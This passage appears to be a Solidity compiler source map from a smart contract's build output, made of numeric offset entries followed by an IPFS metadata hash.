;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:356::-;4369:2;4351:21;;;4388:18;;;4381:30;4447:34;4442:2;4427:18;;4420:62;4514:2;4499:18;;4167:356::o;4528:127::-;4589:10;4584:3;4580:20;4577:1;4570:31;4620:4;4617:1;4610:15;4644:4;4641:1;4634:15;4660:416;4749:1;4786:5;4749:1;4800:270;4821:7;4811:8;4808:21;4800:270;;;4880:4;4876:1;4872:6;4868:17;4862:4;4859:27;4856:53;;;4889:18;;:::i;:::-;4939:7;4929:8;4925:22;4922:55;;;4959:16;;;;4922:55;5038:22;;;;4998:15;;;;4800:270;;;4804:3;4660:416;;;;;:::o;5081:806::-;5130:5;5160:8;5150:80;;-1:-1:-1;5201:1:1;5215:5;;5150:80;5249:4;5239:76;;-1:-1:-1;5286:1:1;5300:5;;5239:76;5331:4;5349:1;5344:59;;;;5417:1;5412:130;;;;5324:218;;5344:59;5374:1;5365:10;;5388:5;;;5412:130;5449:3;5439:8;5436:17;5433:43;;;5456:18;;:::i;:::-;-1:-1:-1;;5512:1:1;5498:16;;5527:5;;5324:218;;5626:2;5616:8;5613:16;5607:3;5601:4;5598:13;5594:36;5588:2;5578:8;5575:16;5570:2;5564:4;5561:12;5557:35;5554:77;5551:159;;;-1:-1:-1;5663:19:1;;;5695:5;;5551:159;5742:34;5767:8;5761:4;5742:34;:::i;:::-;5812:6;5808:1;5804:6;5800:19;5791:7;5788:32;5785:58;;;5823:18;;:::i;:::-;5861:20;;5081:806;-1:-1:-1;;;5081:806:1:o;5892:140::-;5950:5;5979:47;6020:4;6010:8;6006:19;6000:4;5979:47;:::i;6037:168::-;6110:9;;;6141;;6158:15;;;6152:22;;6138:37;6128:71;;6179:18;;:::i;6210:127::-;6271:10;6266:3;6262:20;6259:1;6252:31;6302:4;6299:1;6292:15;6326:4;6323:1;6316:15;6694:251;6764:6;6817:2;6805:9;6796:7;6792:23;6788:32;6785:52;;;6833:1;6830;6823:12;6785:52;6865:9;6859:16;6884:31;6909:5;6884:31;:::i;7871:306::-;7959:6;7967;7975;8028:2;8016:9;8007:7;8003:23;7999:32;7996:52;;;8044:1;8041;8034:12;7996:52;8073:9;8067:16;8057:26;;8123:2;8112:9;8108:18;8102:25;8092:35;;8167:2;8156:9;8152:18;8146:25;8136:35;;7871:306;;;;;:::o;10564:125::-;10629:9;;;10650:10;;;10647:36;;;10663:18;;:::i;11049:135::-;11088:3;11109:17;;;11106:43;;11129:18;;:::i;:::-;-1:-1:-1;11176:1:1;11165:13;;11049:135::o;11189:128::-;11256:9;;;11277:11;;;11274:37;;;11291:18;;:::i;11322:217::-;11362:1;11388;11378:132;;11432:10;11427:3;11423:20;11420:1;11413:31;11467:4;11464:1;11457:15;11495:4;11492:1;11485:15;11378:132;-1:-1:-1;11524:9:1;;11322:217::o;11946:980::-;12208:4;12256:3;12245:9;12241:19;12287:6;12276:9;12269:25;12313:2;12351:6;12346:2;12335:9;12331:18;12324:34;12394:3;12389:2;12378:9;12374:18;12367:31;12418:6;12453;12447:13;12484:6;12476;12469:22;12522:3;12511:9;12507:19;12500:26;;12561:2;12553:6;12549:15;12535:29;;12582:1;12592:195;12606:6;12603:1;12600:13;12592:195;;;12671:13;;-1:-1:-1;;;;;12667:39:1;12655:52;;12762:15;;;;12727:12;;;;12703:1;12621:9;12592:195;;;-1:-1:-1;;;;;;;12843:32:1;;;;12838:2;12823:18;;12816:60;-1:-1:-1;;;12907:3:1;12892:19;12885:35;12804:3;11946:980;-1:-1:-1;;;11946:980:1:o

ipfs://a4ec468b6ab6658b6ed2ac2213863e62b4a6e6d626af58ed8e72f27ae1906f6e